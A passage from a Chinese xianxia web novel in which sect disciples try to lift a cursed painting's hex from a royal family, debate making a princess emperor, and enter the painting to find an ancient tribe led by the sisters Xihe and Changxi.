姬漓说对啊对啊:“和我们天机阁也搁了一个梵音门呢。” 明易微微摇头:“在百年前的天下大比之前,八大洲并未有如此明确的划分,只是渐渐形成了各安一方的局面,大比后便顺势定下。也许几百年前,各门派并非就在如今的居所。” “啊?”顾梦真拖了长音,“那是很久很久以前的事了!简直无从溯源。” 他说得没错,大伙都感到麻烦的头疼。 黎为夏叹了口气道:“我送信的时候顺便问问师父好了,希望能来得及吧。” 姬漓扬起一个有些勉强的安抚笑容:“没事,或许我们阁主也有头绪呢?今日时候不早了,不如我们先回去休息吧,等明日看阁主是否归来。” 既然已经吃饱喝足、讨论个不明白了,那就先回去吧。 回去的路上,石映心收到大师兄的密音,说是要她去看看童柔意的情况,又叮嘱她不能乱照。 嗯嗯,石映心答应了。先让小师妹和二师兄回去休息,她和大师兄飞到童柔意的院子里,瞅见里头还有些光亮,于是大师兄隐了身,她去敲了敲门。 门过了一会被打开,瞧见石映心,童柔意表现出一些意外:“石仙人?” 石映心瞅着她,点点头,居然就没说话。 童柔意:…… 只好主动问:“不知这么晚了,石仙人找我有什么事?” 石映心:“你……怪怪的。” 童柔意一愣,无奈笑道:“怎么说?” 石映心没话找话:“不发脾气了。” 童柔意叹气:“这不好吗?” 石映心想了想:“你是公主,发公主脾气也正常。” “……你说得对,”童柔意看着她,眼中带些莫名的笑意,“我是公主,这些嚣张跋扈无理取闹都很正常,纵使被人置喙、叫人厌恶也很当然;宫女太监都说我仗势欺人,他们觉得这便是真正的权势了。石仙人以为呢?” 石仙人哪懂这些:“我以为你只是因为快死了,所以脾气不好,这是不是就叫……垂死挣扎?” 童柔意脸上一木:“你说话真难听。” 石映心并不在意这个评价,又问:“你自愿死吗?” “能活谁自愿死?” “你也可以不死,我们在想办法。” 童柔意秀眉一皱,语气总算有些不好了:“不必同我说这些假惺惺的话,你们几位仙人的任务不就是保护四皇子,驱除诅咒吗?我也知道了,偷天神阵只能转移诅咒到有亲缘的人身上,如今所有人都死光了,只剩下我和他,不是我死是谁死!” 见石映心要张嘴,她喘了口气立刻接上:“想办法?什么办法?新帝马上就要登基,我等得及,四皇子等不及,朝廷大臣等不及,江山等不及!” 石映心闭上嘴巴,默默看着她。 “好了!”她自己要结束话题,哼出一口气扭过头道,“我已经认命了,不劳烦你们多想办法。” 见她不愿再说,石映心就点点头道:“好吧,再会。” 转身就走。 童柔意:…… 什么啊! 回到七楼的院子,明易显出身形来,朝师妹说:“映心,让你受她气了。” 石映心摇摇头说:“我不气。” 又道:“大师兄,我看得出来,她并没有打算去死。” 明易说:“谁都不愿意这么死去。” “不是,”石映心道,“不是愿意不愿意,她是很确定自己不会死,话里却要我们不要想办法,难道她自己有办法了?” 明易当然信石映心的感知,闻言蹙眉道:“她不过一介凡人,能有什么办法……” 二人忽地对视上,异口同声:“是青蛋!” “糟了。”明易低声道,“她定是受到了青蛋中邪气的影响……但我方才探查她,并无异样。” “我也没看出来,”石映心盯着大师兄,“不知道照一照……” “不行。” 石映心认真地说:“大师兄,我近日琢磨照人之术有所进步,你也知晓的,可以让我试一试。” 明易摇头:“太危险了。” “难道就这么让她不清不楚的就不危险了?” 明易:“那只是她危险。” 保师妹还是保童柔意,这甚至不算一个选择题。 石映心明白大师兄的想法,默了默,有些沉闷地说:“我现在分不清大师兄你是关心我……还是不相信我。” “我自然相信你。”明易很快道,“你天赋异禀又聪明,我相信你即使不用照人之术也能解决事情。” 石映心皱眉:“这很难办。” 明易朝她安抚一笑:“我们一起想办法。” “如果只有这个办法呢?” “不可能。” 石映心沉寂了脸色,显得很平静:“大师兄,你有没有觉得……我们不是在完成因果牌的任务,而是本身就是任务的一环?” 明易的双眸有不自然的一瞬凝滞,但很快恢复了寻常,朝师妹轻快一笑:“我没有觉得,你怎么会这么想?” 石映心说:“这一切都太巧合了,我们受命下山,做的是护送四皇子的任务,凑巧遇上了诗词中代表月的天机阁;在桃林塞中受阻,凑巧姬漓徐舟找来代表日的琼华宫黎为夏助我们破境;在今晚破解诗词之前,我们根本不知道日月代表什么,可冥冥之中,诗中的一切聚在了一起。” “难道这一切都是为了救四皇子吗?那青蛋又为何存在?”明易对望着她直勾勾的、无法阻挡的眼神,听她清楚地说,“事到如今,线索似乎都已经浮出水面,只差一条能连接始末的脉络……” “这条脉络不是剑修石映心,是镜灵。” 第97章 照理来说,万事树不会颁布无法完成的任务。 但不颁布是一回事,万事树上这么多因果牌,是不是存在无法完成的任务呢?这两者并不相悖;再说,无法完成的任务是否只是因为能完成的人还未出现、或是时机还未到来,所以万事树并不颁布给弟子们呢? 明易之前便产生过疑惑,如今他们归壹派弟子领任务的形式,不像是人在选任务,而是任务在选人;因此长老们说“万事树不会颁布无法完成的任务”的说辞就很成立了。 在此基础上分析,万事树为弟子们挑选任务的考量是什么?境界?品行?修为?还是综合情况?说不清楚;除了较难的、可以组队的一阶任务外,其他任务并无明确的等级划分,在真正去做之前弟子们皆不知晓难易。 其实他们归壹派弟子在做任务时出现死亡的概率极小,顶多是遍体鳞伤、惨不忍睹,修为受损等,修养大半年也就好了;得失参半,弟子们往往会在任务中获得属于自己的机遇……照这么看,万事树颁布给弟子们的绝大多数任务都很合理。 所以明易一开始很接受良好,对万事树的广大神通有些敬畏;可任务做多了,经历过许多必然和偶然,巧合与意外,他不得不感到一些不对劲。 “大师兄,你有没有觉得……我们不是在完成因果牌的任务,而是本身就是任务的一环?” 对,就是这样的感觉。 可如果是这样,这些任务算什么?他们归壹派的弟子又算什么?万事树……究竟是怎么回事? 这所有的一切仿佛只能管中窥豹,叫人无力警惕,只能怀着对万事树缥缈的信任继续人尽其事。 可映心……她不一样,她和所有弟子都不一样。 【这条脉络不是剑修石映心,是镜灵。】 明易隐隐约约感觉到,师妹的与众不同是解开那些原先“无法完成的任务”的秘钥……所以被打开的门后有什么呢? 他其实不想知道。 “大师兄?” 明易回神来,微微低垂的眼眸望着她:“我不愿你做镜灵,你只当剑修石映心就好了。” 石映心不解道:“两者并无冲突。” “身在其位,必承其重。做剑修已经很不容易了,映心。”明易轻轻地说,“我……和师父师公她们,都不想你背负上重责。” 现在和石映心说这些,她完全没有实感,想也想不明白:“大师兄,我没有重责;做剑修是很难,但也不算很不容易。” “日后你便明白了。”当然不明白最好,“时候不早了,快进去休息吧。” “大师兄……” “师姐,大师兄?”身后的门忽然被打开,曾换月冒出头来,“你们回来啦?怎么不进来啊?” 明易便说要走了,看了看石映心,转身便飞下了楼。 曾换月和师姐进了屋,见她脸色有些恍然,奇怪道:“师姐你怎么了?大师兄又唠叨你了?” 石映心摇摇头:“没有。” “你怎么不高 兴呢?” 石映心坐到椅子上,双手撑着下巴:“我总觉得大师兄隐瞒了我们很多事,他又不愿意同我们说。” 曾换月想了想道:“你别这么想嘛,大师兄肯定是为我们好的,也许只是不想我们知道得太多然后杞人忧天吧?” 石映心说:“我不喜欢这样不清不楚的。” “师姐,很多事情是在清楚了真相之后才感到痛苦的,”曾换月摆出老成的表情,“许多时候我都想干脆忘了一切,只看今天,只想明天,只在乎……眼前的人。” 石映心抬眼看她,眨了眨眼睛:“换月,难道你也有不高兴的事情?” 曾换月胡乱一抓头发:“唉!谁还没有不高兴的事情呢?所以我说师姐你就不要想太多了嘛!咱们过一天是一天,有困难就兵来将挡水来土掩,啥事不往心上搁,这样最好了!” 石映心看她拿起茶盏一喝,砰地往桌上一放,有些师父喝酒的影子。默默点了点头道:“嗯,也是。” “师姐,我们快些休息吧,明日还要早起呢。” “好。” 回到屋里,石映心打开窗望着月亮,心中飘起一些沉闷的泡沫。她一向不会自寻烦恼、杞人忧天,若是遇到什么小困难,往往都很快解决了,脑壳里始终很清明。可大师兄他们却有不能说的烦恼,还不和她说。 她因他们的烦恼而烦恼,于是就有了自己的苦闷。 世上许多事都很复杂,她渐渐有些明白,解决问题的办法有时不能用她简单的方式。真情还是假意,痛苦还是解脱,谁该死谁不该死……一念之差,一剑差错,都会奔向完全不同的、却似乎冥冥之中注定的结局。 她想要什么结局?仅是完成任务就好? 可是……为什么心中会有疑惑? 她不明白。 她要明白。 石映心飞出窗户来到院子里,随便找了个晒得到月亮的地方坐了下来,开始引气入体;月色澄明,打坐修炼时才发现这天机阁月亮中的灵气与她们归壹派的有些不同,但一样的充沛、干净,热情。 月照之下,镜中的影子似乎轮廓更加分明。 * 一大早就有好消息,说是妙望阁主回来了。 于是几人收拾收拾,准备去见阁主。归壹派几人先前在摘星大会上见过妙望,后者对她们也有些印象,这一会面,气氛倒是很融洽。 妙望打量着几人:“原来是你们几个小孩,我记得,在秘境中同姬滢她们一队的是不是?” “是!”曾换月道,“我师姐还是魁首呢!” 她的魁首师姐在边上点点头。 妙望笑道:“映心小友的剑法确实叫人眼前一亮。” 简单寒暄过后,明易说明了来意。妙望接过因果牌看了看,又瞅了瞅公主皇子,还有搁边上站着的黎为夏,颔首道:“大致情况我已经知晓了。四皇子和公主可知道启动阵法的条件?” 童嘉文先是看向了归壹派几人,见她们都是脸色寻常并无诧异,心下便知道他们都知晓了真相,叹了口气道:“回禀阁主,我与柔意都知道的。唉,实在是无奈之举……” 说着立刻朝明易等人解释道:“明仙人,先前不告知几位是因为在旅舍中人多嘴杂,怕那些下人乱说话……后边又暂且没寻到合适的时机……并不是刻意隐瞒几位。” 曾换月抱胸冷哼:“就是怕别人觉得你这皇位来得肮脏呗!” 童嘉文脸上一抽,好声好气地辩解道:“流言蜚语属实让人头疼。” “什么流言蜚语?”曾换月撇嘴,“都是大实话!” 童嘉文:…… 见他被噎着,妙望微微摇了摇头,朝姬滢道:“姬滢,将那幅画拿来我看看。” 姬滢递上画卷,妙望打开一看,眉心便皱了起来:“这画很有些来头……怕是不好应付。” 姬滢与姐姐对视一眼,皆有些诧异:“阁主,我们瞧不出画上的古怪。” 周赫也说:“可这画上也不见邪气……” 妙望叹了口气道:“你们瞧不出来也正常,是你们没学过的阵法。” 姬漓一惊:“什么?画上有阵法?!” 归壹派等人也是面面相觑,连天机阁的弟子都看不出来,更别提她们了。黎为夏喃喃道:“就这么小一张的画上……也能容下杀人的阵法?” “是。”妙望方才见小辈的和蔼神情这会转成了郑重,“而且是禁阵。好在你们未将其损坏,还一并带了回来。这么危险的东西不能留在人间。” “阁主,”明易问,“请问画上的阵法与童家的诅咒有何关系?” 妙望道:“是阵魂要杀他们。” 几脸茫然:“阵魂?” 几脸惊诧:“阵魂!” 妙望思酌了一下如何给外门弟子通俗地解释:“这么说吧……你们可以认为这画中藏了一个可怖的妖怪,画上的阵法既是封印它的枷锁,也是供它生存的小结界;这妖怪在阵法中潜心修练,练成之前若是画被损坏,它会随画而死;可若是练成之后画才被损坏……它便能出来危害人间。” “最后一种情况便是你们现下所遭遇的:阵魂在画未被损坏的情况下练成离阵之法,只待有机可乘便能离画……”说到这她看向童嘉文,“照你们所说,我想这机会便是你们凡人登基的人帝之灵。” 童嘉文听得发愣:“人帝之灵?” 周赫飞快地给他解释:“人帝之灵是你们凡人皇帝自生的灵力,简单来说就是只要谁当了皇帝,谁就会生此物,所以你们前四个皇帝才会登基了没多久就死,估计是生的灵力足够开启画中阵法,阵魂就趁机出来杀人。皇帝死了之后就没了人帝之灵供阵魂游荡人间,它无法只能回到画中。” 这下听懂的童嘉文已经开始留冷汗了:“那……那本王该如何?” “阵魂也不会无缘无故杀人。”妙望道,“如今看来有两个办法:一是弄清阵魂杀你们人帝的真相,想方设法让它不再杀人;若是协商不了,便用第二个办法,将阵魂杀了。” 说得蛮简单的哈。 这时候石映心问:“若是杀了阵魂,童柔意还会死吗?” 一直安安静静的童柔意抬眼看向她。 妙望看向公主:“姬滢先前的卦象不错,这画中阵魂很聪明,早已第一次离画时就在你们童家所有能登基的男子血脉中埋下了诅咒,其实不管它有没有出来杀人,你几个皇兄的帝位都坐不久,毕竟人帝之灵会驱使咒力在体内不断积蓄;我想它只是太恨你们,这才着急出来一杀为快……” 石映心:“男子?” 妙望:“是,凡人都是男子称帝。” 石映心:“童柔意没有中咒?” 妙望摇摇头。 第98章 “既然如此,”石映心就有了好主意,“那就让童柔意做皇帝吧。” 让童柔意做皇帝?如此没登基但中了诅咒的童嘉文便不会因人帝之灵的积攒而死;没中咒所以产生人帝之灵也没事的童柔意自然也能活着…… 咦?都不会死诶! 大伙有些愣神地思考着这看起来完美的双全之法,童嘉文却仿佛被这句话砸了脚指头一般跳了起来:“胡说!女子如何能称帝?这不合规矩!” 石映心平静地看着他:“那就把守规矩的人都杀了,规矩就不复存在。” “什……” 童嘉文:!? 他觉得听到了天方夜谭,诧异地望向其余人,却见他们脸上并无震怒惊诧的神情,只是很寻常地看着他。童嘉文荒唐地摇摇头:“你身为归壹派的仙人,居然要把守规矩的凡人杀了?” 石映心道:“为了守规矩杀人,和为了破坏规矩杀人,于我而言没有什么不同。” 总之是死一边的人。难道童嘉文的命比童柔意珍贵? 童嘉文额上不断地冒出冷汗,声线发抖:“这简直倒反天罡……文武百官不会同意、万千百姓不会同意!” 曾换月冷哼一声:“你们皇室做事何时 还要看他人的眼色了?难道皇帝之位是文武百官万千百姓一票票投选出来的不成?若真要这样算民意所归,哪里轮得到你们!” 童嘉文:……擦汗。 顾梦真幽幽地盯着他:“四皇子,现下有这么好的办法可以保全你和公主二人的性命,难道你不愿意?” “不、不是本王不愿意!”童嘉文的眼睛一瞬间睁得大大的,应该是看见了很多人,“本王说了,是他们不愿意!” “谁不愿意就处置谁。”石映心想了想,“这招是不是叫杀鸡儆猴?” 曾换月一拍手:“对对!谁不愿意就把谁关起来!关到他服气!” 明易也道:“那些官员百姓最多也不过是嘴上叫嚷,忍忍就过去了,心烦总比死了好。” 顾梦真:“对啊对啊。” 姬漓:“柔意可是你妹妹,你真忍心她为了救你而死?” 黎为夏:“手足相残太过残忍……” …… 童嘉文踉跄着退了半步,众仙人的话音不断地飘入他的脑中,叫他所有思绪都混乱交错。他觉得这些人实在是太古怪了,为何能如此寻常地说出这些大逆不道的话?为了皇位牺牲一个公主,和为了公主牺牲一个皇位……这两者如何能相提并论? 宫中的皇亲臣子下人,凡间的商贾布衣贱民……没人会想到后者! 这些胡说八道的仙人确实是不食人间烟火,竟能提出如此荒唐的事!若是在宫中,他们犯的皆是满门抄斩大罪!可…… 可偏偏这里是天机阁,他这位凡间身份最珍贵的四皇子如今是走投无路了,不得已求庇于人、仰承鼻息……呜呼,这世间的仙凡之别,实在不公平! 他萎蔫地在心中义愤填膺。 那些不谙世事仙人还在嘀嘀咕咕地商讨这此法的可行性,就在他越发感到屈辱不堪时,听到他一直安安静静的皇妹说话了: “柔意多谢几位仙人为保全我的小命如此费尽心机,”当事人一开口,大伙安静下来看向她,听她这么说道,“不过国有国法,家有家规,宫中的事错综复杂,这些繁文缛节也不是一朝一夕能改……” 说到这里她似乎叹了口气,扬起一个微笑道:“再说柔意身为公主,从小学的都是些琴棋书画,平日又不喜读书,对朝廷和治国之事不甚了解,不能堪一国之主的大任……古往今来,公主报国的先例多是和亲远嫁,其实这对本宫来说与赴死并无区别……” 说着,她看向几人,神色稳重道:“可身在其位,必承其重,早在随皇兄离宫之时,本宫已做好为国献躯的准备,还请几位仙人不必为此事烦忧了。” 这么懂事又明大义的话砸下来,落地无声。 众仙人面面相觑,十几颗眼珠子咚咚碰撞着相似的诧异。 当然是童嘉文最先反应过来,先前还没觉得,这会听皇妹的肺腑之言,四皇子心里真是深受感动啊:“柔意……本王没想到你竟如此顾全大局、舍生取义;你可放心,此恩德本王没齿不忘,待登基之后,定为你追封厚葬!” 童柔意转眼看向他,面上的笑容很得体:“柔意多谢皇兄。” 这两位当事人都这么说了,其余的自然不好再说什么,只有石映心最后问了一句:“童柔意,你想好了?” 童柔意说:“柔意想得很明白。” 石映心便点点头,不再多嘴。 “咳。”妙望旁观完这场小插曲,说回正事道,“既然四皇子和公主已经做了决定,我们这些外人也不便干涉了。不过在启用偷天神阵为你们改命之前,还需解决画中阵魂,否则怕是后患无穷。” 明易便问要怎么解决。 妙望不紧不慢道:“不管是劝说阵魂放下屠刀还是要杀了它,总之是要先与它会面了。” 明易又问如何会面。 妙望便朝她们和蔼一笑:“这阵魂忍辱负重潜伏在画中许久,想必是个不好对付的,放出来于我们天机阁来说有些危险,不如……你们进画中去劝它吧。” 去画中? 大伙皆是愣了下,各有所思。明易谨慎地问:“进入画中可有什么规矩?” 妙望两眼弯弯:“入画没有规矩,不过世上的阵法多是易进难出,你们这些小孩也不算初出茅庐,个中利害不用我多说也是清楚的。” 翻译:危险。 明易默了会,微微朝师弟妹那侧了侧脸,余光瞅见几个身影:“还要问阁主,一次可进几人?” “随意。”翻译:不怕死就能去。 明易觉得这样就有些热闹了。 这时姬漓提议:“阁主,不如您为我们算一卦?” 妙望秀眉一跳,语气上扬道:“本阁主的卦金你们谁付得起?” “阁主~”姬漓噘嘴,“您就别逗我们了!” 妙望轻哼了一声,倒是没拒绝,抬起左手掐指一算,在众人翘首以盼的期待中长吁了一口气道:“归壹派三,天机阁和琼华宫各一。”自然要把手无缚鸡之力的凡人去除在外了。 黎为夏一脸懵地指向自己:“啊,我也算吗……也行!”也没问为什么,就这么同意了。 姬滢道:“姐姐,那就由我去吧。” 姬漓似有些犹豫:“画里也许很危险……” 姬滢说:“嗯,其实你去我去都一样,但我想还是你留在外面照看公主她们更好。” 妹妹性格内向,姬漓虽有些忧虑,但想了想还是同意了,叮嘱道:“你要注意安全,没事别折腾,有事往明易映心她们身后躲。” 姬滢点点头说好。 周赫耸了耸肩:“我就不和你俩争了。” 姬漓小声道:“还要靠师兄你看住那两个凡人。” “知道了。” 这一边,归壹派四人对要留下来的人选也有些纠结。石映心首先道:“反正我要去的。” 其余三人一点也不意外,反正也拦不住她那就随她吧。大师兄又道:“我也去。” 接下来只剩下一个人选,顾梦真道:“画中肯定很危险,我看还是我去吧,换月都还没入元婴。” 若是在平时,能待在外面苟着她肯定很开心,但这次小师妹却一反常态道:“不不,还是我去吧,怎么说我也算半个阵修……虽说作用不大,但比二师兄你可能要好点。” 顾梦真意外道:“你说真的?里头可不知道有什么危险。” 曾换月挽住师姐胳膊,下巴又往大师兄那抬了抬:“其实你去我去都差不多,反正是师姐和大师兄保护我们!” 顾梦真嘴角一抽:“你还好意思说,论修为我可比你强点。” “这你就不懂了,强一点的修为在术业有专攻面前算什么?” “少来吧你,你还敢用专攻这个词?你不最不擅长画阵了?天天炸乱七八糟的东西出来……” “哪有!” “上次在后山还有上上次……” …… “好了。”明易不堪其扰地制止不分场合的二人,一锤定音道,“换月来吧,梦真在外头应付突发情况。” 二人总算消停下来:“好吧。” 顾梦真说要把储物袋给她们带进去,到时候可以用;但明易表示他的储物袋太杂乱了,完全不知道要找的东西在哪里;而且很多看似寻常的宝器却有不寻常的用法,她们怕是弄巧成拙。于是只选了几件三人都用过的宝器。 趁师兄们选宝器,见缝插针地,曾换月瞥了眼坐在边上安安静静的公主皇子二人,小声和师姐说道:“师姐,你说得不错,这童柔意太古怪了,方才她说的那一番话都给我听傻了,她哪是这么懂事的性子啊?” 石映心“嗯”了一声。 “师姐,”曾换月摸摸下巴做思考状,“你说她真是真心的吗?还是只是迫不得已、知道自己就算活着也不会好过,所以干脆说好听点,起码死后还能落个好名声?” 石映心不答反问道:“死后的好名声很重要吗?” “额,我是觉得不重要啦,但有些人看得很重。俗话说豹死留皮,人死留名嘛。” 石映心:“留下这名声谁来享受呢?下一世又不是同一个人。” 曾换月啧啧两声:“就是啊,搞不懂。如果我是童柔意,就是死皮赖脸地也要求我们想办法让她活下来,之后就不回去皇宫,潜逃而走在江湖逍遥,公主哪有游侠快活!” 石映心听罢,朝她笑了笑:“我也这么觉得。” 曾换月的眼珠子转了转:“那……要不我们从画中出来后劝劝她?” 石映心只说:“出来再谈。” 第99章 人选定下后,妙望就准备送她们入画。 施法前她叮嘱道:“禁阵之所以称为禁阵,除危险之外,定有它的奇异之处,能穿梭时空、藏匿珍宝……这类存在阵魂的禁阵,往往阵中世界是阵魂的心结,解开心结或许能让阵魂放下杀人执念……” “但通常解不开,”妙望冷酷又平静地告知几人事实,“且阵中世界以阵魂的灵识为主导,你们几乎不可能杀了它;除非破阵,将维系阵魂存活的阵法打破,阵魂自然随之消散。” 几人面面相觑,气氛有些紧张。 妙望说完吓人的话,又朝她们和蔼一笑:“所以你们准备好了?” ……还能咋的。 妙望开始施法的时候,为了不被波及,童嘉文和童柔意都离得远了许多。这会在屋里最远的角落望着那边空中浮起的灵阵,光芒万丈波及到二人脸上,照出一张惊奇一张冷漠的脸。 童嘉文感叹道:“真是神奇,画中竟别有天地,人竟能入画……” 童柔意瞥他一眼:“仙家的宝贝自然非凡人能想象,难得见识一回。不过这些仙人倒也心善,竟然愿意为一条无关紧要的凡人性命以身涉险。” “柔意,别开玩笑了。”童嘉文朝妹妹无奈道,“本王的命难道不够宝贝吗?” 童柔意笑了。 下一刻灵光大作,各样的神色全然消失在光线中瞧不见了。 * 五光十色被扭曲揉捻,万物万景如碎片落花飞旋而来,砸得双眼分辨不清。 石映心从混乱的意识中清醒过来,第一眼先瞧见了蓝天白云,深深的蓝和厚厚的白无比清晰,太阳高挂在左边照着她的侧脸,炙热的触感将她唤醒。 转着眼珠子看了看,几步远外倒着她师妹师兄,还有姬滢和黎为夏。 她站起来,刚走两步还有些晕眩,好在很快就恢复了寻常,慢慢走去依次将同伴们叫醒。 “……这是哪?”曾换月打量着四周,很荒凉的景色,周遭是一望无际的荒郊野岭,居然瞧不见人家,“出生点怎么在这啊?” 说着,就见方才一醒来就试飞的大师兄从天上飞了下来,先是松了口气道:“能飞。”仿佛定心了,又道,“东南方有村落,先去看看?” 大家说好啊好啊,反正是要找人的。 她们一边走一边打量着周遭,黎为夏左顾右盼道:“总觉得这些景色有些熟悉……” 曾换月“啊”了一声:“哪儿有景色啊?就是荒郊野岭嘛。” 黎为夏目露思索:“似乎在哪里见过?唉,可惜我记性不好,记不得了,不然可能是条线索呢?” 曾换月却觉得这样的景色很常见又不常见,像是没被开发过的荒野,又没有什么特别的标志物,不见得是什么重要的地方,不甚在意道:“没事啦,有什么线索比我们亲自来了还要关键呢?” “那倒也是。” 她们继续往东南方走,越走越觉得热,偏偏周遭也没有能遮掩的树木,掏兜也没找到什么合适的物件,就这么硬着头皮顶着太阳继续赶路,没过多久每个人都是晒得小脸通红。 “快到了!”黎为夏指着前方说,“还有条河呢!” 被晒得没脾气的几人闻言都提了一口气,打起精神继续往前冲。不多久果然瞧见一条河流,后边是一道围墙,又高又长,将里头的情景全然遮盖,河流边似乎还有几道人影。 “这墙也太高了吧?这是在防谁呀?”曾换月先是吐槽了一句,又推测道,“我们要找阵魂,难道阵魂和这个村落有关?” 石映心微微颔首:“先过去问问。” 走得近了就能瞧见河边的人,却见她们身上的衣物都有些不同寻常,似乎是粗布麻衣?但比他们此生见过的粗布麻衣还要粗糙简陋,甚至露胳膊露腿的,倒不是说破烂吧……仿佛是一种特色? 这些人还披头散发着,粗糙的长发耷拉在裸露着大块肌肉的肩头,肤色很深,脚上穿着的鞋子更是简陋到没边了,就一个鞋底,再用一些枯草植株和足绑起来…… “我嘞个逗……”曾换月一下子呆在了原地,“给我干哪来了?这些人是……” “老祖宗?” 几人诧异地看向黎为夏,她也是一副大吃惊的模样:“这这、她们好像我们琼华宫古画中的那些……古人。” 从古人口中听到古人一词,曾换月有种荒诞感,但大概也明白了情况:“你的意思是……我们来到了画里的年代?也就是几千年之前!?” 黎为夏抱头:“不知道啊,但是看着好像啊!” 姬滢瞅了河边一眼,又转来问:“既然这样,我们说的话她们听得懂吗?我看她们好像要过来了……” 五人:OO! 她说得不错,不等几人再走进,河边那些女人在发现她们之后就拿着什么东西走了过来,走近一瞧原来是铜矛?好让人敬畏的武器啊…… 领头的女人大摇大摆地走来,在几步外站定后,上下左右地打量了她们,眉头皱了起来:“jiligualamiaomiaomiao。” 五人:OO? 曾换月:搞什么这不对吧! 就在她们眼前一黑的时候,老天奶终于停止了她恶劣的玩笑,就听那女人又追问了一句:“说啊,你们几个哪来的?” 大伙狠狠松了口气,怀疑方才是自己幻听了。明易客气道:“我们是外乡人,正巧路过此地,可否进你们村中留宿几晚?” 女人道:“瞅你们穿得怪模怪样、长得又细皮嫩肉的,与我们这片的族人很是不同,谁知道是不是其他部落派来的奸细?” 部落?曾换月脑子一转,连忙道:“哎呀姐,你也说我们细皮嫩肉瘦胳膊瘦腿的,哪有这胆子冒犯你们呐?真的是路过此处,被这太阳晒得又热又渴走不下去了,才厚着脸皮想进你们部落中歇会……我们都是好人啊!” 女人闻言哈哈笑道:“那是,我们部落的太阳是世上最亮最热的太阳!” 五人:OO? 曾换月:“是是是,对对对,一路走来就你们这的太阳给我晒迷瞪了都,太 厉害了!” 这时候边上的人说:“巨姐,我瞅他们长得和娃娃似的嫩,哪里像是操练过的?再说姬水那边的人都丑得很,没这好模样的。” 巨姐又哈哈笑起来:“说得对!那就让她们进部落,咱们好生招待!” 五人:不管如何先谢谢姬水人长得丑了。 跟在她们身后往部落里走,曾换月还有些警惕,传密音道:“老天奶,方才没比较,这会一看这几个姐怎么长得这么高啊?最矮的也和大师兄差不多……” 黎为夏道:“我师父说古人都是很高的。” 曾换月:“跟我听说的不一样啊!” 姬滢:“可能是各地人种不同?” 曾换月叹了口气:“好吧。不过她们竟然这么容易就放我们进去了?不怕我们是坏人?还是说……”她瞅着前方巨姐硕大的肌肉咽了咽口水,“额,想把我们骗进去收拾啊?” “不至于。”明易道,“我想她们只是对自身能力非常自信,不觉得我们会对她们造成威胁。” “也可能单纯想不来太多。”石映心幽幽地补充。 不管如何是混进去了。 走到了围墙的门口,瞧见门上画着一个红色的图腾,笔画走势潇洒大气,似乎是一个顶着太阳的牛头?牛头被聚在一个倒三角里,像矛上锋利的铜片。 几人不敢太好奇地打量,匆匆一瞥就跟着进了墙中。 里头的房屋也有些新奇,都是一栋一栋的单独房屋,要么是圆形要么是方形,屋顶像一把伞,盖着一圈茅草,粗糙又厚实;瞧着不高,但从边上往下的土梯中可以窥见,地下竟还有一半的屋子。 曾换月点点头:“住得也不错嘛,看起来很结实。” 明易的视线从泥巴墙上收回来,问道:“不知几位要带我们去哪?” 黎巨回头瞥他一眼:“去见我们首领,羲和。” “羲和!?”黎为夏差点发出尖叫,“什么羲什么和?” 黎巨被她吓了一跳:“喂,你大惊小怪做什么!” 黎为夏却是结巴了,瞪着眼睛不知道说话;这时候黎巨边上的女人又道:“姐,羲和去见大酋长了。” 黎巨点点头:“既然这样,那就先送去见常曦吧。” “常曦!?”这下是姬滢走音,“谁、谁是常曦?” 黎巨不耐瞪眼道:“你们到底怎么回事!?” 曾换月连忙打圆场:“没事没事,我们只是觉得这二位的名字太霸气太好听了!哈哈哈……” 黎巨一听又松了眉头:“哦,说的是。” 石映心一头雾水,密音问:“为何你们二人这么惊诧?” 黎为夏呆呆道:“羲和……如果是那个羲和……不就是我们尊崇的日神吗?” 姬滢傻傻地说:“常曦……如果是那个常曦……不就是我们崇祀的月神吗?” 几人闻言面面相觑,心中的想法都很一致: 不会吧?哪有这么巧呢? 这二人心中怀着不可思议的期待,朦胧憧憬的敬畏,晃神也是正常的,面色都麻木了许多。 又听到明易问:“不知这位羲和与常曦……是什么身份?” “她们二人是同胞的姐妹。”黎巨道,“不过羲和是首领,统领我们部落;常曦是司命,可沟通日月星,司族人之命运。” 五人听得一愣一愣的,这不就是上古的皇帝和钦天监吗?但听这些人的意思……司命的地位似乎很高?首领不在就要见司命,也许是个类似副首领的存在? 更重要的是,她们的日神和月神怎么就是同胞的姐妹了啊? 第100章 不管怎么样,见了再说吧。 沿着路往里走,她们发现这些房屋的走势明显地打了弯;明易分出一些元神去上边看了看,瞧见所有的屋子都排成了圆形,圆的中间是一个大广场,走动着一些族人。 回神后他传密音和几人说了此布局,黎为夏道:“这和我们琼华宫的祭祀殿好像啊。” 姬滢道:“天机阁的月临殿也差不多。” 几人皆是默了默。很快她们就跟着黎巨走到了广场,瞧见其中央摆着一个大木台子,有些讲坛的模样,台子边上又绕了一圈小桌,这会有许多人在来回走动忙碌着,往桌上摆放和布置着什么。 姬滢难得主动开口问:“黎巨姐,你们是在准备祭祀吗?” 黎巨点点头:“没错,不过今日还是个特别的日子。” “什么日子?” 她神秘兮兮地吊人胃口:“晚上你们便知道了。” 祭祀广场的正东方有一座特别高大的房屋,大概有寻常屋子的三四倍大小,虽工艺依旧简陋但和边上的小屋子一对比就突出显而易见的尊贵;再加上这些圆形排列布局,远远望去就像小屋簇拥着大屋,如同星星簇拥着月亮。 黎巨对那一指:“最大的屋子就是首领和司命的住所。” 众人安分地应了一声。 一路走来,那些原先跟着黎巨的女人们都各忙各的去了,最后只有黎巨带着她们敲响了那扇大门,她砰砰砰地敲着,大嗓门伴着大敲门声:“常曦!常曦!你在不在?” 里头没应声,但石映心有听到稍急的脚步在靠近,果然很快就有人把门打开,露出一张有些严肃的脸:“门要坏了。” 黎巨:“门坏了再修呗!” 常曦把门打开,如此她能观察这些陌生人了;陌生人也小心地打量着她,她和黎巨这些族人没有太大区别,甚至更像她们这代的女人,比如和黎巨相比略矮的身量,单薄的体型,一根粗粗的麻花辫搭在一边的肩上,看起来很安静。 “远方的客人。”常曦的观察很快,仿佛只是瞥过两眼,就点点头说,“请进吧。” 远方的客人们面面相觑,一时不知说什么,只局促地说“你好幸会”又介绍了自己的名字,算是认识了。 跟着黎巨进了屋,屋里非常宽敞,抬头望去高高的房顶好远;东西多而不乱,摆着好几个收纳的柜子和架子,上头放了一些草药、陶罐,瓜果等,满满当当的;边上有个篓子,里头是一些铜矛锄头斧头之类的……就是瞅着有些大? 这绝对不是几人的错觉,屋里的许多器用仿佛比寻常的要大一些?曾换月瞪了瞪快到她下巴的桌子,瞥了眼边上站在凳子上往桌上拿东西的常曦,心说这是什么设计啊? 